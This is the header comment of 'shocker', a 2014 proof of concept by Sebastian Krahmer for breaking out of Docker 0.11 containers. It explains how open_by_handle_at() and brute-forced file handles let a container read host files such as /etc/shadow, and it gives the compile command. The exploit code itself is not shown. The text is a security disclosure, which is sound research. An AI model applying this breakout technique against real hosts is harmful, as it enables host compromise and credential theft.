docker 0.11 VMM-container Breakout

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
*
* Demonstrates that any given docker image someone is asking
* you to run in your docker setup can access ANY file on your host,
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising
* security of the host and any other docker VM's on it.
*
* docker using container based VMM: Sebarate pid and net namespace,
* stripped caps and RO bind mounts into container's /. However
* as its only a bind-mount the fs struct from the task is shared
* with the host which allows to open files by file handles
* (open_by_handle_at()). As we thankfully have dac_override and
* dac_read_search we can do this. The handle is usually a 64bit
* string with 32bit inodenumber inside (tested with ext4).
* Inode of / is always 2, so we have a starting point to walk
* the FS path and brute force the remaining 32bit until we find the
* desired file (It's probably easier, depending on the fhandle export
* function used for the FS in question: it could be a parent inode# or
* the inode generation which can be obtained via an ioctl).
* [In practise the remaining 32bit are all 0 :]
*
* tested with docker 0.11 busybox demo image on a 3.11 kernel:
*
* docker run -i busybox sh
*
* seems to run any program inside VMM with UID 0 (some caps stripped); if
* user argument is given, the provided docker image still
* could contain +s binaries, just as demo busybox image does.
*
* PS: You should also seccomp kexec() syscall :)
* PPS: Might affect other container based compartments too
*
* $ cc -Wall -std=c99 -O2 shocker.c -static
